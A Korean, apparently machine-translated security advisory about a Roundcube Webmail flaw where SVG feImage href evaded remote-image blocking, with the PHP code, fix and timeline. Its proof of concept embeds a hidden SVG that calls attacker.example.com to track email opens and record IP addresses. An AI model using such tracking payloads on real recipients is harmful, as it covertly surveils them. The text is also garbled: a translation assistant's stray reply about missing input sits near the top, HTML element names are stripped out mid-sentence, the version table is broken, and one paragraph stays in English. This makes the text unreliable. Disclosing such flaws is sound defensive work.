Roundcube Webmail: SVG feImage가 이미지 차단을 우회해 이메일 열람을 추적
It looks like only the source citation was provided, but the text you’d like translated isn’t included. Could you please share the content you want translated? Once I have the full text, I’ll translate it into Korean while preserving the source line, formatting, and any code blocks or URLs.
TL;DR
Roundcube의 rcube_washtml 정화기는 , , 에서 외부 리소스를 차단했지만에서는 차단하지 않았습니다. href가 잘못된 코드 경로를 통해 허용되었습니다. 공격자는 “원격 이미지 차단”이 켜져 있을 때도 이메일 열람을 추적할 수 있었습니다. 1.5.13 및 1.6.13에서 수정되었습니다.
취약점 정보
| 필드 | 값 |
|---|---|
| 벤더 | Roundcube |
| 제품 | Roundcube Webmail |
| 영향받는 버전 | , `href` on and “) 및 is_image_attribute() 함수를 통해 처리합니다. 이 함수는 외부 URL을 차단합니다. |
Discovery
크리스마스 방학 동안 지루함을 느껴서 SVG‑based XSS fix via the animate tag 를 눈여겨보게 되었습니다. 하나의 SVG 버그는 보통 더 많은 문제를 의미합니다.1 저는 몇 시간을 rcube_washtml.php 를 검토하면서 허용 목록에 포함된 SVG 요소와 그 속성들이 어떻게 정제되는지 확인했습니다.
stood out.[^2] Its `href` gets fetched on render, same as. But the sanitizer sends it through wash_link() instead of is_image_attribute(). Consequently, the “Block remote images” setting doesn’t apply to it.
기술 세부 사항
wash_attribs()에서는 각 속성이 일련의 검사 체인을 통과합니다. 첫 번째로 일치하는 검사가 승리합니다:
if ($this->is_image_attribute($node->nodeName, $key)) {
$out = $this->wash_uri($value, true); // 원격 URL 차단
} elseif ($this->is_link_attribute($node->nodeName, $key)) {
$out = $this->wash_link($value); // http/https 허용
}
is_image_attribute() (전처리)
private function is_image_attribute($tag, $attr)
{
return $attr == 'background'
|| $attr == 'color-profile'
|| ($attr == 'poster' && $tag == 'video')
|| ($attr == 'src' && preg_match('/^(img|image|source|input|video|audio)$/i', $tag))
|| ($tag == 'use' && $attr == 'href')
|| ($tag == 'image' && $attr == 'href');
}
href 속성은 use와 image에만 매치됩니다. feimage는 매치되지 않습니다.
is_link_attribute()
private function is_link_attribute($tag, $attr)
{
return $attr === 'href';
}
따라서 “에 대해:
is_image_attribute('feimage', 'href')→ falseis_link_attribute('feimage', 'href')→ true
URL은 wash_link()에 의해 처리되며, HTTP/HTTPS URL은 그대로 통과됩니다.
개념 증명
보이지 않는 1×1 SVG를 화면 밖에 배치:
<svg width="0" height="0" style="position:absolute; left:-9999px;">
<filter id="track">
<feImage href="https://attacker.example.com/track.png" />
</filter>
<rect width="1" height="1" filter="url(#track)" />
</svg>
렌더링될 때 브라우저는 SVG 필터를 평가하고 공격자가 제어하는 URL에 GET 요청을 보내어 이메일이 열렸음을 확인합니다.
영향
“Block remote images” 설정은 이 원격 이미지를 차단하지 않습니다. 공격자는 수신자가 이메일을 열었는지 확인하고, IP 주소를 기록하며, 브라우저 지문을 수집할 수 있습니다.
복구
수정(26d7677)은 별도의 use/image 검사를 하나의 정규식으로 통합하고, 여기에는 feimage도 포함합니다:
|| ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag)); // SVG
이제 “는 is_image_attribute()와 일치하고, wash_uri()를 통해 라우팅되며 원격 URL이 차단됩니다.
조치: Roundcube 1.5.13 또는 1.6.13(또는 이후 버전)으로 업데이트하십시오.
타임라인
| 날짜 | 이벤트 |
|---|---|
| 2026‑01‑04 | Roundcube에 보고됨 |
| 2026‑02‑08 | 1.5.13 및 1.6.13 출시 |
| 2026‑02‑08 | 이 게시물 게시됨 |
Footnotes
Footnotes
-
SVG 사양은 방대하고 대부분의 정화 도구는 일반적인 요소만 처리합니다. 하나의 SVG 태그가 통과하면 보통 같은 허용 목록에 체크되지 않은 다른 태그들도 있습니다. ↩